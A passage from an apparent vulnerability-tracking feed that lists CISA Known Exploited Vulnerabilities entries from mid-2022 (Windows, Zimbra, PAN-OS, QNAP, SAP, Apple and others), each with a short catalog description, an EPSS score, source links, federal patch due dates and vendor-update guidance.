An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow for privilege escalation to SYSTEM.
EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26923&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26923: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26923&date=2026-10-25
CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Runtime Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-21971
Microsoft Windows Runtime Remote Code Execution Vulnerability (Aug 18, 2022).
Microsoft Windows Runtime contains an unspecified vulnerability that allows for remote code execution.
EPSS 53.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21971&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-21971: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21971&date=2026-10-25
CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-15944
Palo Alto Networks PAN-OS Remote Code Execution Vulnerability (Aug 18, 2022).
Palo Alto Networks PAN-OS contains multiple, unspecified vulnerabilities which can allow for remote code execution when chained.
EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-15944&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-15944: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-15944&date=2026-10-25
CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2022; federal due date Sep 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability
https://kevwire.com/record/CVE-2022-27925
Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability (Aug 11, 2022).
Synacor Zimbra Collaboration Suite (ZCS) contains flaw in the mboximport functionality, allowing an authenticated attacker to upload arbitrary files to perform remote code execution. This vulnerability was chained with CVE-2022-37042 which allows for unauthenticated remote code execution.
EPSS 98.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27925&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-27925: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27925&date=2026-10-25
CISA added this entry on 2022-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 11, 2022; federal due date Sep 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2022-37042
Synacor Zimbra Collaboration Suite (ZCS) Authentication Bypass Vulnerability (Aug 11, 2022).
Synacor Zimbra Collaboration Suite (ZCS) contains an authentication bypass vulnerability in MailboxImportServlet. This vulnerability was chained with CVE-2022-27925 which allows for unauthenticated remote code execution.
EPSS 91.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-37042&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-37042: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-37042&date=2026-10-25
CISA added this entry on 2022-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 11, 2022; federal due date Sep 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-34713
Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (Aug 9, 2022).
A remote code execution vulnerability exists when Microsoft Windows MSDT is called using the URL protocol from a calling application.
EPSS 67.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-34713&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-34713: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-34713&date=2026-10-25
CISA added this entry on 2022-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 9, 2022; federal due date Aug 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### RARLAB UnRAR Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2022-30333
RARLAB UnRAR Directory Traversal Vulnerability (Aug 9, 2022).
RARLAB UnRAR on Linux and UNIX contains a directory traversal vulnerability, allowing an attacker to write to files during an extract (unpack) operation.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-30333&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-30333: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-30333&date=2026-10-25
CISA added this entry on 2022-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 9, 2022; federal due date Aug 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Command Injection Vulnerability
https://kevwire.com/record/CVE-2022-27924
Synacor Zimbra Collaboration Suite (ZCS) Command Injection Vulnerability (Aug 4, 2022).
Synacor Zimbra Collaboration Suite (ZCS) allows an attacker to inject memcache commands into a targeted instance which causes an overwrite of arbitrary cached entries.
EPSS 93.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27924&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-27924: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27924&date=2026-10-25
CISA added this entry on 2022-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 4, 2022; federal due date Aug 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Questions For Confluence App Hard-coded Credentials Vulnerability
https://kevwire.com/record/CVE-2022-26138
Atlassian Questions For Confluence App Hard-coded Credentials Vulnerability (Jul 29, 2022).
Atlassian Questions For Confluence App has hard-coded credentials, exposing the username and password in plaintext. A remote unauthenticated attacker can use these credentials to log into Confluence and access all content accessible to users in the confluence-users group.
EPSS 98.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26138&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26138: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26138&date=2026-10-25
CISA added this entry on 2022-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 29, 2022; federal due date Aug 19, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Client Server Runtime Subsystem (CSRSS) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-22047
Microsoft Windows Client Server Runtime Subsystem (CSRSS) Privilege Escalation Vulnerability (Jul 12, 2022).
Microsoft Windows CSRSS contains an unspecified vulnerability that allows for privilege escalation to SYSTEM privileges.
EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22047&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22047: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22047&date=2026-10-25
CISA added this entry on 2022-07-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 12, 2022; federal due date Aug 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows LSA Spoofing Vulnerability
https://kevwire.com/record/CVE-2022-26925
Microsoft Windows LSA Spoofing Vulnerability (Jul 1, 2022).
Microsoft Windows Local Security Authority (LSA) contains a spoofing vulnerability where an attacker can coerce the domain controller to authenticate to the attacker using NTLM.
EPSS 10.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26925&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26925: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26925&date=2026-10-25
CISA added this entry on 2022-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediation actions outlined in CISA guidance [https://www.cisa.gov/guidance-applying-june-microsoft-patch].
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 1, 2022; federal due date Jul 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mitel MiVoice Connect Data Validation Vulnerability
https://kevwire.com/record/CVE-2022-29499
Mitel MiVoice Connect Data Validation Vulnerability (Jun 27, 2022).
The Service Appliance component in Mitel MiVoice Connect allows remote code execution due to incorrect data validation.
EPSS 55.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-29499&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-29499: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-29499&date=2026-10-25
CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium PopupBlocker Security Bypass Vulnerability
https://kevwire.com/record/CVE-2021-30533
Google Chromium PopupBlocker Security Bypass Vulnerability (Jun 27, 2022).
Google Chromium PopupBlocker contains an insufficient policy enforcement vulnerability that allows a remote attacker to bypass navigation restrictions via a crafted iframe. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 16.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30533&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30533: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30533&date=2026-10-25
CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat Polkit Out-of-Bounds Read and Write Vulnerability
https://kevwire.com/record/CVE-2021-4034
Red Hat Polkit Out-of-Bounds Read and Write Vulnerability (Jun 27, 2022).
The Red Hat polkit pkexec utility contains an out-of-bounds read and write vulnerability that allows for privilege escalation with administrative rights.
EPSS 94.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-4034&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-4034: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-4034&date=2026-10-25
CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS and iPadOS Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-30983
Apple iOS and iPadOS Buffer Overflow Vulnerability (Jun 27, 2022).
Apple iOS and iPadOS contain a buffer overflow vulnerability that could allow an application to execute code with kernel privileges.
EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30983&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30983: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30983&date=2026-10-25
CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2020-3837
Apple Multiple Products Memory Corruption Vulnerability (Jun 27, 2022).
Apple iOS, iPadOS, macOS, tvOS, and watchOS contain a memory corruption vulnerability that could allow an application to execute code with kernel privileges.
EPSS 14.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3837&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3837: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3837&date=2026-10-25
CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2020-9907
Apple Multiple Products Memory Corruption Vulnerability (Jun 27, 2022).
Apple iOS, iPadOS, and tvOS contain a memory corruption vulnerability that could allow an application to execute code with kernel privileges.
EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9907&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-9907: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9907&date=2026-10-25
CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2019-8605
Apple Multiple Products Use-After-Free Vulnerability (Jun 27, 2022).
A use-after-free vulnerability in Apple iOS, macOS, tvOS, and watchOS could allow a malicious application to execute code with system privileges.
EPSS 17.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8605&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-8605: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8605&date=2026-10-25
CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2018-4344
Apple Multiple Products Memory Corruption Vulnerability (Jun 27, 2022).
Apple iOS, macOS, tvOS, and watchOS contain a memory corruption vulnerability which can allow for code execution.
EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-4344&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-4344: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-4344&date=2026-10-25
CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-30190
Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (Jun 14, 2022).
A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run code with the privileges of the calling application.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-30190&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-30190: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-30190&date=2026-10-25
CISA added this entry on 2022-06-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 14, 2022; federal due date Jul 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver Unrestricted File Upload Vulnerability
https://kevwire.com/record/CVE-2021-38163
SAP NetWeaver Unrestricted File Upload Vulnerability (Jun 9, 2022).
SAP NetWeaver contains a vulnerability that allows unrestricted file upload.
EPSS 36.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38163&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38163: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38163&date=2026-10-25
CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 9, 2022; federal due date Jun 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver SQL Injection Vulnerability
https://kevwire.com/record/CVE-2016-2386
SAP NetWeaver SQL Injection Vulnerability (Jun 9, 2022).
SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7.40 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
EPSS 71.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-2386&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-2386: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-2386&date=2026-10-25
CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 9, 2022; federal due date Jun 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2016-2388
SAP NetWeaver Information Disclosure Vulnerability (Jun 9, 2022).
The Universal Worklist Configuration in SAP NetWeaver AS JAVA 7.4 allows remote attackers to obtain sensitive user information via a crafted HTTP request.
EPSS 52.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-2388&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-2388: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-2388&date=2026-10-25
CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 9, 2022; federal due date Jun 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP Photo Station Path Traversal Vulnerability
https://kevwire.com/record/CVE-2019-7195
QNAP Photo Station Path Traversal Vulnerability (Jun 8, 2022).
QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files.
EPSS 89.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7195&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7195: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7195&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP Photo Station Path Traversal Vulnerability
https://kevwire.com/record/CVE-2019-7194
QNAP Photo Station Path Traversal Vulnerability (Jun 8, 2022).
QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files.
EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7194&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7194: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7194&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP QTS Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2019-7193
QNAP QTS Improper Input Validation Vulnerability (Jun 8, 2022).
QNAP QTS contains an improper input validation vulnerability allowing remote attackers to inject code on the system.
EPSS 14.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7193&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7193&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP Photo Station Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2019-7192
QNAP Photo Station Improper Access Control Vulnerability (Jun 8, 2022).
QNAP NAS devices running Photo Station contain an improper access control vulnerability allowing remote attackers to gain unauthorized access to the system.
EPSS 88.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7192&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7192: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7192&date=2026-10-25
CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
